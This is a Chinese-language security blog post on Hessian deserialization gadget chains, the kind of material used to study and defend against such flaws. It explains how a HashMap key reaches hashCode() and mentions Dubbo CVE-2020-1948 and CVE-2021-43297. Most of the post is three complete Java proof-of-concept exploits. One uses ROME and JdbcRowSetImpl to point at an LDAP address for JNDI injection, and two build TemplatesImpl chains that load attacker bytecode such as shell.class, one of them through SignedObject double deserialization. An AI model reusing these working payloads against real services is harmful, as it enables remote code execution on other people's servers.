文章1 文章2 文章3 字节 文章4
这里前言和简介就不写了 上面给的文章写的都很清楚了 直接看就行了
(就是prc啥的 直接看上面的文章就行了)
这里的只分析链子
Hessian反序列化漏洞分析
Hessian反序列化漏洞的关键出在HessianInput#readObject
,由于Hessian会将序列化的结果处理成一个Map,所以序列化结果的第一个byte
总为M
(ASCII为77)。下面我们跟进readObject()
HessianInput#readObject
部分代码如下
打个断点来进行分析
跟进这个readMap
()方法
接着跟进这个getDeserializer
()方法 获取反序列化的返回结果
在获取到deserializer
后,java会创建一个HashMap作为缓存,并将我们需要反序列化的类作为key
放入HashMap中。
看过rome链子的应该能反应过来这里 hashmap
key
后续代码能够触发任意类的hashcode()
方法
因为这个key
可控
至此,我们Gadget的构造思路也就十分清晰了,只需要找一条入口为hashcode()的反序列化链即可,比如我们常用的ROME链
Hessian+Rome
1 2 3 4 5 6 7 8
| * TemplatesImpl.getOutputProperties() * ToStringBean.toString(String) * ToStringBean.toString() * ObjectBean.toString() * EqualsBean.beanHashCode() * ObjectBean.hashCode() * HashMap<K,V>.hash(Object) * HashMap<K,V>.readObject(ObjectInputStream)
|
利用链如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
| package org.example;
import com.caucho.hessian.io.HessianInput; import com.caucho.hessian.io.HessianOutput; import com.rometools.rome.feed.impl.EqualsBean; import com.rometools.rome.feed.impl.ToStringBean; import com.sun.rowset.JdbcRowSetImpl;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.Serializable; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.HashMap;
public class Hessian_JNDI implements Serializable {
public static <T> byte[] serialize(T o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream(); HessianOutput output = new HessianOutput(bao); output.writeObject(o); System.out.println(bao.toString()); return bao.toByteArray(); }
public static <T> T deserialize(byte[] bytes) throws IOException { ByteArrayInputStream bai = new ByteArrayInputStream(bytes); HessianInput input = new HessianInput(bai); Object o = input.readObject(); return (T) o; }
public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }
public static Object getValue(Object obj, String name) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); return field.get(obj); }
public static void main(String[] args) throws Exception { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); String url = "ldap://192.168.142.129:9999/EXP"; jdbcRowSet.setDataSourceName(url);
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet); EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap hashMap = makeMap(equalsBean,"1");
byte[] s = serialize(hashMap); System.out.println(s); System.out.println((HashMap)deserialize(s)); }
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception { HashMap<Object, Object> s = new HashMap<>(); setValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); setValue(s, "table", tbl); return s; } }
|
成功弹出计算器
Apache Dubbo Hessian反序列化漏洞(CVE-2020-1948)
Apache Dubbo 是一款高性能的开源Java RPC框架。
影响范围
- 2.7.0 <= Dubbo Version <= 2.7.6
- 2.6.0 <= Dubbo Version <= 2.6.7
- Dubbo 所有 2.5.x 版本(官方团队目前已不支持)
这里的就不写了 了解一下就行了 因为搭建环境太麻烦了
TemplatesImpl+SignedObject二次反序列化(ROME不出网)
上文我们构造的都是JdbcRowSetImpl
这条ROME链,最终结果是造成JNDI注入。那如果目标不出网,我们又怎么利用呢?
或许你还记得ROME中的TemplatesImpl
利用链,其能够加载任意类,进而任意代码执行。下面我们来尝试构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| package org.example;
import com.caucho.hessian.io.HessianInput; import com.caucho.hessian.io.HessianOutput; import com.rometools.rome.feed.impl.ObjectBean; import com.rometools.rome.feed.impl.ToStringBean; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap;
public class Hessian2_TemplatesImpl {
public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception { HashMap<Object, Object> s = new HashMap<>(); setValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); setValue(s, "table", tbl); return s; } public static <T> byte[] serialize(T o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream(); HessianOutput output = new HessianOutput(bao); output.writeObject(o); System.out.println(bao.toString()); return bao.toByteArray(); } public static <T> T deserialize(byte[] bytes) throws IOException { ByteArrayInputStream bai = new ByteArrayInputStream(bytes); HessianInput input = new HessianInput(bai); Object o = input.readObject(); return (T) o; }
public static void main(String[] args) throws Exception { TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\google download\\shell.class"));
setValue(templatesimpl,"_name","aaa"); setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes}); setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(TemplatesImpl.class,templatesimpl);
ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);
HashMap hashMap = makeMap(objectBean,"1");
byte[] payload = serialize(hashMap); deserialize(payload);
}
}
|
这里其实是由于TemplatesImpl
类中被transient
修饰的_tfactory
属性无法被序列化,进而导致TemplatesImpl
类无法初始化
但是如果在jdk的原生反序列化的话就可以序列化成功
我们知道,在使用Java原生的反序列化时,如果被反序列化的类重写了readObject()
,那么Java就会通过反射来调用重写的readObject()
可以看到这里手动new了一个TransformerFactoryImpl类赋值给_tfactory
,这样就解决了_tfactory
无法被序列化的情况
当一个变量被声明为 transient 时,在进行对象的序列化过程中,该变量的值不会被持久化保存到字节流中。这意味着在对象被反序列化后,该变量的值将会被设置为其默认值,而不是序列化时的值。
如果一个类中包含了 readObject
方法,在对象进行反序列化时,会按照以下顺序执行相关操作:
- 默认的反序列化操作会读取对象的非 transient 字段,并将它们的值恢复。
- 如果类中有
readObject
方法,那么该方法会被调用。在这个方法中,你可以自定义读取和恢复对象状态的过程。你可以使用 defaultReadObject
方法读取默认字段值,也可以通过实现自定义逻辑来恢复其他字段的值。
- 反序列化过程完成后,返回反序列化后的对象。
所以说就是变量被声明为 transient的时候可以进行序列化操作,只不过是会再反序列化(readobject
)的时候值仍然是默认值
那么我们应该怎么办呢 想法就是想让其进行序列化成功,如何然后再使用hessian
进行反序列化
这里的话我们就可以想到二次反序列化了 这里使用的是SignedObject
这个类
这里面用的就是原生的jdk序列
在SignedObject类的构造函数能够序列化一个类并且将其存储到属性content
中
在其getObject()
中能够将其反序列化出来,并且该方法还是getter
rome 的ToStringBean
的toString()
方法 是可以调用任意getter
方法的
这就完美符合我们的利用条件,于是可以构造出如下Payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101
| package org.example;
import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import com.rometools.rome.feed.impl.EqualsBean; import com.rometools.rome.feed.impl.ToStringBean; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.security.*; import java.util.HashMap;
public class Hessian2_SignedObject {
public static void main(String[] args) throws Exception { TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\ctf application\\idea_vip\\IntelliJ IDEA 2023.1.2\\project\\Hessian\\src\\main\\java\\org\\example\\calc.class"));
setValue(templatesimpl,"_name","aaa"); setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes}); setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123); setValue(badAttributeValueExpException,"val",toStringBean);
KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(badAttributeValueExpException,privateKey,signingEngine);
ToStringBean toStringBean1 = new ToStringBean(SignedObject.class, signedObject);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean1);
HashMap hashMap = makeMap(equalsBean, equalsBean);
byte[] payload = Hessian2_Serial(hashMap); Hessian2_Deserial(payload); }
public static byte[] Hessian2_Serial(Object o) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); Hessian2Output hessian2Output = new Hessian2Output(baos); hessian2Output.writeObject(o); hessian2Output.flushBuffer(); return baos.toByteArray(); }
public static Object Hessian2_Deserial(byte[] bytes) throws IOException { ByteArrayInputStream bais = new ByteArrayInputStream(bytes); Hessian2Input hessian2Input = new Hessian2Input(bais); Object o = hessian2Input.readObject(); return o; }
public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception { HashMap<Object, Object> s = new HashMap<>(); setValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); setValue(s, "table", tbl); return s; }
public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } }
|
个人理解
在序列化的时候
这个回执行里面的方法来奖上面的templatesimpl
给序列化掉
然后在反序列化的时候
这个方法会调用任意getter
方法 然后就会调用到SignedObject
里面的getObject
方法
然后就会执行反序列化操作 最后执行恶意代码
Apache Dubbo Hessian2异常处理反序列化漏洞(CVE-2021-43297)
这里的话了解就行 因为搭建环境比较麻烦